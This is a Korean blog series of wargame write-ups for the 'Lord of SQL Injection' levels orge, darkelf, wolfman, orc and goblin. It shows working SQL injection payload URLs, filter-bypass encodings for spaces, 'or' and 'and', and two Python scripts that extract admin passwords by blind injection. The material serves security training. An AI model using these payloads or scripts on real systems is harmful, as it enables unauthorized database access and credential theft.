1. 문제 지문


2. 요약
  • 일부 문자와 or, and 문자열 필터링
  • 두 개의 쿼리에 동시에 입력 값(pw) 전달
  • 입력한 값과 결과로 나온 DB 결과가 모두 일치해야 문제가 풀림

3. 풀이
이전 Orc 문제와 비슷하게, Blind SQL Injection으로 admin의 패스워드를 찾아낸 후 정확한 패스워드를 입력해야 하는 문제로 생각되었다.

우선 Hello admin부터 띄워보았다.
select id from prob_orge where id='guest' and pw='-1' || id='admin'#
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%23



admin의 패스워드 길이 확인
select id from prob_orge where id='guest' and pw='-1' || id='admin' && length(pw)=8#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20length(pw)=8%23
참고로 and도 필터링이 되어 있기 때문에 '&&'로 대체해서 보내야 한다.
하지만 '&'기호는 GET방식으로 전달되지 않는다는 특징이 있기 때문에 URL인코딩 값인 '%26'으로 변환하여 보낸다.
  • 우회 문자
    • or → ||
    • and → && → %26%26
    • # → %23

Blind SQL Injection 코드 작성 및 공격
Blind SQL Injection을 위한 코드를 준비한다.
(Orc 문제 풀이에 사용한 코드 재활용)
#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests


password=""


for j in range(1,9):  # 1~8자리 패스워드를 찾아야함
  print "%d" %j       # 현재 몇번째 인지 표시
  for i in range(48,128): # 대부분의 글자들 다 찾아내기
    try:  # 시작!
      url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1' || id='admin'" + " %26" + "%26 " + "substr(pw," + str(j) + ",1)='" + chr(i)
      r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
      print str(j)+"번째 찾는 중 : "+chr(i) # 대략적인 현재 위치를 확인하기 위함
    except:
      print "Error"
      continue
    if 'Hello admin' in r.text:
      password = password + chr(i)
      print "[+]Password : " + password
      break
그리고 공격

'6C864DEC'출력

공격할 URL 작성
select id from prob_orge where id='guest' and pw='-1' || id='admin' && pw='6c864dec'#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20pw=%276c864dec%27%23

그러나...

공격에 성공하지 않았다. 저번 Orc 문제와 동일하게 대문자를 소문자로 바꿔서 했는데도 공격이 성공하질 않았다.

그 이유가

위의 두 번째 문단의 코드를 간과했기 때문이다.

즉, 첫 번째 문단의 코드에서는 id가 guest인 상태에서 pw를 입력 받았으나
두 번째 문단의 코드에서는 id가 admin인 상태에서 pw만 받는 것이였다.

그렇다면, pw만 입력하면 클리어되므로,
select id from prob_orge where id='guest' and pw='6c864dec'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=6c864dec

클리어

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09
1. 문제 지문


2. 요약
  • 일부 문자와 or,and 문자열이 필터링
  • id를 admin으로 만들면 클리어

3. 풀이
wolfman과 비슷한 맥락의 문제이다.

사용할 공격문은 아래와 같다.
https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw=-1' or id='admin'#
select id from prob_wolfman where id='guest' and pw='-1' or id='admin'#

or는 필터링이 되어 있다고 하니, 이를 우회하기 위해 or의 의미를 가진 || (shift+역슬래쉬)를 두 개 넣어서 공격하였다.

클리어

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09
LOS 풀이 - (03) Goblin  (0) 2019.07.09
1. 문제 지문


2. 요약
  • 특수문자, 공백 필터링
  • id가 admin일 경우 풀림

3. 풀이
이번 문제에는 공백이 필터링 되어 있다.
또한 where문 이후의 id조건으로는 guest가 설정되어 있고, where뒤의 id를 admin으로 바꾸어주어야 한다.

즉, 아래와 같은 공격문을 사용하여야 한다.
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=-1' or id='admin'#
select id from prob_wolfman where id='guest' and pw='-1' or id='admin'#
(위와 같이 빨간 구문은 거짓, 파란 부분이 참이 되도록 설정해야 id로 admin을 받을 수 있다.)

하지만 여기에는 공백 필터링이 걸려있다.


공백 필터링 우회
  1. Tab : %09
  2. 줄넘김 : %0a
  3. 주석 : /**/
  4. 괄호 : ()
  5. 더하기 : +
    (출처 : https://super-cert.tistory.com/entry/SQL-Injection-%EA%B3%B5%EA%B2%A9%EC%8B%9C-%EA%B3%B5%EB%B0%B1-%EB%AC%B8%EC%9E%90-%ED%95%84%ED%84%B0%EB%A7%81%EC%8B%9C-%EC%9A%B0%ED%9A%8C-%EB%B0%A9%EB%B2%95)
대체적으로 공백 필터링은 위와 같은 방법으로 우회가 가능하다. 저것도 막혀있으면 다른 방법을 찾아야 겠지만....

어쨋든 여기서 가능한 것 중에 Tab을 이용하여 공격하였다.
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=-1'%09or%09id='admin'%23

클리어


추가적으로 다른 우회방법으로도 테스트 해본 결과
  • 줄넘김 %0a
  • 주석 /**/
위 두 가지는 우회가 되었으며
괄호와 더하기(+)는 우회가 불가능 하였음을 확인하였다.


'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09
LOS 풀이 - (03) Goblin  (0) 2019.07.09
LOS 풀이 - (02) Cobolt  (0) 2019.06.29
1. 문제 지문


2. 요약
  • 일부 문자 필터링
  • 입력벡터는 pw
  • 다 필요 없고, DB의 결과와 입력한 pw가 같을 경우 풀림
    • Blind SQL 인젝션
    • length, substr 함수 필요

3. 풀이
Blind SQL 인젝션을 사용해야 하는 느낌이 온다.
정확한 패스워드를 찾아서 입력해야만 풀리는 문제이다. 
입력한 패스워드와 DB의 패스워드가 완전 일치한지 검증하는 코드가 있기 때문이다.

주어진 쿼리
select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'

패스워드 길이 파악
사용하는 함수로는 length 함수가 있다.
length(pw)=[패스워드 길이]를 사용하여 1부터 하나씩 늘려가며 참과 거짓 여부를 파악해본다.

패스워드 길이는 8로 밝혀졌다.
이제 패스워드를 추측하면 된다.

패스워드 추측
자동화 소스코드
#!/usr/bin/python
#-*-coding:utf-8  -*-


# Blind SQL Injection 문자 찾기!!
import urllib,urllib2,requests


password=""


for j in range(1,9):                            # 1~8자리 패스워드를 찾아야함
  print "%d" %j                                 # 현재 몇번째 인지 표시
  for i in range(48,128):                       # 대부분의 글자들 다 찾아내기
    try:                                        # 시작!
      url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=-1' or id='admin' and substr(pw," + str(j) + ",1)='" + chr(i)
      r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
      print str(j)+"번째 찾는 중 : "+chr(i)     # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드
    except:                                     # 예외는 반드시!
      print "Error"
      continue
    if 'Hello admin' in r.text:                 # 글자를 찾았을 경우!
      password = password + chr(i)
      print "[+]Password : " + password
      break

대부분 주석으로 남김

이 코드를 실행한 결과

최종 비밀번호가 295D5844라고 표시되었다.
이제 이것을 pw파라미터로 넘겨주게 되면

Hello admin만 나오고 클리어 되었다고는 나오질 않는다.
MySQL에서는 기본적으로 대소문자 구분을 따로 하질 않아서 D든 d든 둘 다 같다고 반환하기 때문이라고 한다.
D를 d로 소문자로만 바꿔주고 인증ㄱㄱ


클리어

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (03) Goblin  (0) 2019.07.09
LOS 풀이 - (02) Cobolt  (0) 2019.06.29
LOS 풀이 - (01) Gremlin  (0) 2019.06.29
1. 문제 지문


2. 요약
  • 일부 문자 필터링
  • 쿼터 사용이 금지
  • id 값이 admin으로 설정되면 클리어
  • 이번에는 id가 아닌 no가 입력 벡터가 됨


3. 풀이
주어진 쿼리
select id from prob_goblin where id='guest' and no={$_GET[no]}

no값을 1로 지정했을 때

위와 같이 guest를 환영하는 메시지가 출력된다.
1번이 guest라는 것을 알 수 있다.
그러나 우리가 찾아야 할 것은 admin이다.

나는 여기서 Union을 조합해 볼까 생각하였다.

Union 인젝션 공격은 먹혔다.
여기서 Union 인젝션으로 공격하는 코드를 짜보았다.
select id from prob_goblin where id='guest' and no=-1 union select id from prob_goblin where id='admin'#
select id from prob_goblin where id='guest' and no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23


https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=-1 union select id from %70%72%6F%62%5F567%6F%62%6C%69%6E where id=%27admin%27;%23

결과는....

안 된다. 분명히 필터에 걸리는 문자열들을 인코딩해서 넘겨줬는데도 안되는 걸 보면 이 방법으로 푸는 것은 아닌 것 같다라는 생각이 들었다.


살짝 현탐이 오고나서, 문득 다른 방법이 떠올랐다.
"어짜피 no값과 id값이 매칭 되어 있을텐데, admin과 guest의 숫자를 다르게 했을까?"라는 생각이 들었고,

no
id
1
guest
?
admin

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=0
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=1
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0 or no=2
...
이렇게 하다 보면 맞겠다 싶었다.

SQL 쿼리를 풀어쓰면
select id from prob_goblin where id='guest' and no=0 or no=1;
파란색으로 칠한 부분만 참인 id 값을 불러올 것이다.

공격 결과,

no값이 2일 때 공격에 성공한 것을 볼 수 있다.
만약 admin이 랜덤 값으로 설정되었다면, 이 방법은 먹히지 않았을 것이다.
다른 사람들의 Write-Up을 보는 것도 좋을 것 같다.


'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09
LOS 풀이 - (02) Cobolt  (0) 2019.06.29
LOS 풀이 - (01) Gremlin  (0) 2019.06.29

+ Recent posts